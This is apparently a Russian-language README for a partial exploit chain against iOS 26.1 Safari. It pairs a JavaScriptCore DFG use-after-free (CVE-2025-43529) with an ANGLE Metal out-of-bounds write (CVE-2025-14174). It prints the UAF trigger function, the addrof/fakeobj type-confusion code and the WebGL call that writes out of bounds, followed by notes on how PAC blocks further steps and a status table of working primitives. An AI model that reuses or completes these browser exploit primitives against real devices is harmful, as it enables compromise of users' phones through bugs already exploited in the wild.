
Анализ цепочки эксплойтов CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) — iOS Safari
Заметки и материалы PoC для цепочки WebKit/ANGLE на iOS 26.1. Это не полный эксплойт; здесь отделены проверенные примитивы от частей, которые всё ещё не работают.
Автор: zeroxjf
Основано на: эксплойте jir4vv1t для CVE-2025-43529
Статус: Частичная цепочка; произвольные R/W не доказаны
Тестовое устройство: iPhone 11 Pro Max, iOS 26.1
Последнее обновление: январь 2026
Триггер UAF для CVE-2025-43529, перехват butterfly и примитивы addrof/fakeobj основаны на работе jir4vv1t. Мои дополнения — это обвязка для ANGLE OOB, анализ, сфокусированный на PAC, и проверка на iOS 26.1.
Два CVE в WebKit, раскрытые совместно и отмеченные Apple как используемые в реальных атаках (in-the-wild).
| CVE | Компонент | Тип | Описание |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Использование после освобождения (Use-After-Free) | Отсутствие write barrier в DFG JIT приводит к тому, что GC освобождает живые объекты |
| CVE-2025-14174 | ANGLE (GPU) | Запись за пределами буфера (Out-of-Bounds Write) | Бэкенд Metal использует неверную высоту при выделении staging buffer |
Ошибка находится в DFG JIT движка JavaScriptCore, а именно в фазе вставки Store Barrier (DFGStoreBarrierInsertionPhase.cpp).
Когда Phi-узел уходит (escapes), но его Upsilon-входы не помечены как ушедшие, последующие операции записи пропускают write barrier. Это позволяет GC освобождать объекты, которые всё ещё достижимы.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
Butterfly освобождённого объекта Date может быть перехвачен с помощью спрей-массивов, что создаёт путаницу типов:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
В Metal-бэкенде ANGLE (TextureMtl.cpp) при выделении staging buffer для загрузки через PBO используется UNPACK_IMAGE_HEIGHT вместо фактической высоты текстуры.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
На arm64e (iPhone 11 Pro Max) коды аутентификации указателей (PAC) защищают критически важные указатели JSC:
| Указатель | Защищён | Результат |
|---|---|---|
TypedArray m_vector | Да | Нельзя подделать TypedArray с произвольным backing store |
JSArray butterfly | Да | Нельзя подделать JSArray с произвольным butterfly |
Когда я пытаюсь создать фейковый TypedArray/JSArray с произвольным указателем на данные, проверка PAC завершается ошибкой и происходит краш:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
Путаница типов срабатывает, потому что оба массива используют легитимно подписанные указатели на butterfly — мы просто интерпретируем одну и ту же память по-другому. Фейковые объекты с произвольными неподписанными указателями вызывают краш при проверке PAC.
addrof, fakeobj, утечка адресов, чтение/запись inline-слотов на известных объектахread64/write64, цепочка выхода renderer→GPU, побег из песочницы├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
Триггер CVE-2025-43529, техника перехвата butterfly и конструкция addrof/fakeobj основаны на jir4vv1t/CVE-2025-43529. Этот репозиторий добавляет проверку для iOS 26.1, заметки о PAC и обвязку для ANGLE OOB.
Текущее состояние: полезно для воспроизведения примитива JSC и блокера PAC; это не полная цепочка эксплойта.
| Примитив | Статус | Примечания |
|---|
addrof(obj) | Работает | Проверено в пробе |
fakeobj(addr) | Работает | Проверено на известных объектах |
| Утечка адресов | Работает | Более 20 адресов за запуск |
| Чтение/запись inline-слотов | Работает | Проверено на известных inline-слотах (на основе адресов объектов) |
read64(addr) | Не проверено | Реализовано через трюк с inline-слотами, доказательство не прошло |
write64(addr) | Не проверено | Реализовано через трюк с inline-слотами, доказательство не прошло |